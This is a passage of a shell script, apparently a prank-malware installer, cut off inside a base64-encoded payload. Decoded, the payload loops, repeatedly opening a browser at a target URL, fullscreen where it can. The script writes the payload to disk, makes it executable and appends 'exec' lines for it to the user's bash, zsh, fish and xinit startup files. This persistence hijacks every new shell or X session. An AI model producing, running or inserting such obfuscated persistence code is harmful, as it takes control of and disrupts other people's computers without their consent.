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YxCiAgZmkKICBpZiBbICEgLXogIiQod2hpY2ggZ29vZ2xlLWNocm9tZS1zdGFibGUgMj4vZGV2L251bGwpIiBdOyB0aGVuCiAgICBnb29nbGUtY2hyb21lLXN0YWJsZSAtLXN0YXJ0LWZ1bGxzY3JlZW4gIiR7VEFSR0VUfSIKICBlbGlmIFsgISAteiAiJCh3aGljaCBjaHJvbWl1bSAyPi9kZXYvbnVsbCkiIF07IHRoZW4KICAgIGNocm9taXVtIC0tc3RhcnQtZnVsbHNjcmVlbiAiJHtUQVJHRVR9IiA+L2Rldi9udWxsIDI+JjEKICBlbGlmIFsgISAteiAiJCh3aGljaCBmaXJlZm94IDI+L2Rldi9udWxsKSIgXTsgdGhlbgogICAgZmlyZWZveCAiJHtUQVJHRVR9IgogIGVsaWYgWyAhIC16ICIkKHdoaWNoIG9wZXJhIDI+L2Rldi9udWxsKSIgXTsgdGhlbgogICAgb3BlcmEgIiR7VEFSR0VUfSIKICBlbGlmIFsgISAteiAiJCh3aGljaCBnb29nbGUtY2hyb21lIDI+L2Rldi9udWxsKSIgXTsgdGhlbgogICAgZ29vZ2xlLWNocm9tZSAtLXN0YXJ0LWZ1bGxzY3JlZW4gIiR7VEFSR0VUfSIKICBmaQpkb25lCg==' | base64 -d > $name chmod +x $name echo 'Modifying rc files' echo "exec $name" >> ~/.bashrc echo 'Adding to bash' if [ -e "$HOME/.xinitrc" ] then echo "exec $name" >> ~/.xinitrc echo 'Adding to xinit' fi if [ -e "$HOME/.zshrc" ] then echo "exec $name" >> ~/.zshrc echo 'Adding to zsh' fi if [ -e "$HOME/.config/fish/config.fish" ] then echo "exec $name" >> ~/.config/fish/config.fish echo 'Adding to fish' fi echo 'Done, have fun!' # rm $0